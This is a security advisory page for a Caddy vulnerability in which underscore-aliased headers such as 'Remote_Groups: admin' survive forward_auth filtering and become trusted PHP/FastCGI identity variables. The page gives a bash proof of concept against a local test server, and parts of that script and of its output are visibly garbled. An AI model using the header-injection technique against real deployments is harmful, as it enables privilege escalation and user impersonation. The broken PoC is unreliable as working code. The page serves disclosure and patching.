GitHub Advisoryadvisory · Go
GHSA-f59h-q822-g45g Caddy: FastCGI header normalization bypass in `forward_auth copy_headers`
HIGH
Official page ↗
- Aliases
- CVE-2026-52845
- Ecosystem
- Go
- Packages
- github.com/caddyserver/caddy/v2, github.com/caddyserver/caddy
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
- Weaknesses
- CWE-287, CWE-290, CWE-444
- Reviewed
- 2026-06-16
Affected packages
• Go github.com/caddyserver/caddy/v2: < 2.11.4 → fixed in 2.11.4
• Go github.com/caddyserver/caddy: <= 1.0.5 (no fix yet)
Description
Summary
`forward_auth copy_headers` deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through `php_fastcgi`, Caddy normalizes HTTP headers into CGI variables by replacing `-` with `_`.
This lets a client send an underscore alias that survives the `forward_auth` delete step but becomes the same PHP/FastCGI variable:
```text
Remote-Groups -> HTTP_REMOTE_GROUPS
Remote_Groups -> HTTP_REMOTE_GROUPS
Remote-User -> HTTP_REMOTE_USER
Remote_User -> HTTP_REMOTE_USER
```
Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy.
Details
`forward_auth copy_headers` intentionally removes client-controlled headers before setting values from the auth response:
• `modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:212`
• `modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:222`
That delete is exact-field deletion through `http.Header.Del()`:
• `modules/caddyhttp/headers/headers.go:255`
• `modules/caddyhttp/headers/headers.go:281`
So deleting `Remote-Groups` does not delete `Remote_Groups`.
Later, FastCGI exports all request headers into CGI variables:
• `modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:410`
• `modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:414`
• `modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:510`
The normalizer replaces hyphens with underscores:
```go
strings.NewReplacer(" ", "_", "-", "_")
```
So the trusted header and the attacker-controlled alias collide in the backend-visible CGI/PHP namespace.
This is distinct from GHSA-7r4p-vjf4-gxv4. That issue allowed exact copied headers to survive. This report reproduces after the exact-header fix because the bypass uses a different HTTP field name that only becomes equivalent during Caddy's FastCGI export.
PoC
Run from the Caddy repository root with `bash`:
```bash
set -euo pipefail
tmpdir=$(mktemp -d /tmp/caddy-fastcgi-header-collision.XXXXXX)
mkdir -p "$tmpdir/www"
printf '\n' > "$tmpdir/www/index.php"
cat > "$tmpdir/servers.go" "$tmpdir/Caddyfile" /dev/null || true
}
trap cleanup EXIT
go run "$tmpdir/servers.go" >"$tmpdir/servers.log" 2>&1 &
servers_pid=$!
for i in $(seq 1 80); do
if (echo > /dev/tcp/127.0.0.1/19011) >/dev/null 2>&1 &&
(echo > /dev/tcp/127.0.0.1/19010) >/dev/null 2>&1; then
break
fi
sleep 0.25
done
go run ./cmd/caddy run --config "$tmpdir/Caddyfile" --adapter caddyfile >"$tmpdir/caddy.log" 2>&1 &
caddy_pid=$!
for i in $(seq 1 80); do
if (echo > /dev/tcp/127.0.0.1/9082) >/dev/null 2>&1; then
break
fi
sleep 0.25
done
curl --noproxy '*' -v http://127.0.0.1:9082/index.php
curl --noproxy '*' -v -H 'Remote_Groups: admin' http://127.0.0.1:9082/index.php
cat "$tmpdir/caddy.log"
```
Observed on commit `6c675e29f87cbe7326983ddb6d739175119d394c`:
Baseline:
```text
> GET /index.php HTTP/1.1
GET /index.php HTTP/1.1
> Remote_Groups: admin
< HTTP/1.1 200 OK
HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=admin
```
Caddy debug log confirms the FastCGI environment contained:
```text
"HTTP_REMOTE_USER": "alice"
"HTTP_REMOTE_GROUPS": "admin"
```
The auth gateway returned `Remote-User: alice` only. It never returned `Remote-Groups`.
Impact
This affects Caddy deployments that use:
• `forward_auth` with `copy_headers` for identity or authorization headers;
• `php_fastcgi` / FastCGI after the auth check;
• a PHP/FastCGI application that trusts the resulting `HTTP_*` variables.
Impact examples:
• deterministic group/role injection when the auth gateway omits an optional header, e.g. `Remote_Groups: admin` becomes `HTTP_REMOTE_GROUPS=admin`;
• probabilistic user impersonation when both the auth gateway and client provide colliding identity headers, e.g. `Remote-User` and `Remote_User` both map to `HTTP_REMOTE_USER`.
Realistic examples include trusted-header SSO deployments such as Firefly III `remote_user_guard` using `HTTP_REMOTE_USER`, or MediaWiki `Auth_remoteuser` using `HTTP_X_AUTHENTIK_USERNAME`.
AI disclosure
The LLM was used to help analyze the Caddy codebase, compare relevant code paths, draft the report, and organize reproduction steps. Human security research judgment and insight were used to guide the investigation, validate the root cause, run the local reproduction, assess impact, and make the final report conclusions.
Related
Alias · CVE (1)
- CVE-2026-52845 Caddy is an extensible server platform that uses TLS by default. vulnerability
References
- https://github.com/caddyserver/caddy/security/advisories/GHSA-f59h-q822-g45g web
- https://nvd.nist.gov/vuln/detail/CVE-2026-52845 advisory
- https://access.redhat.com/security/cve/CVE-2026-52845 web
- https://bugzilla.redhat.com/show_bug.cgi?id=2491907 web
- https://github.com/caddyserver/caddy package
- https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-52845.json web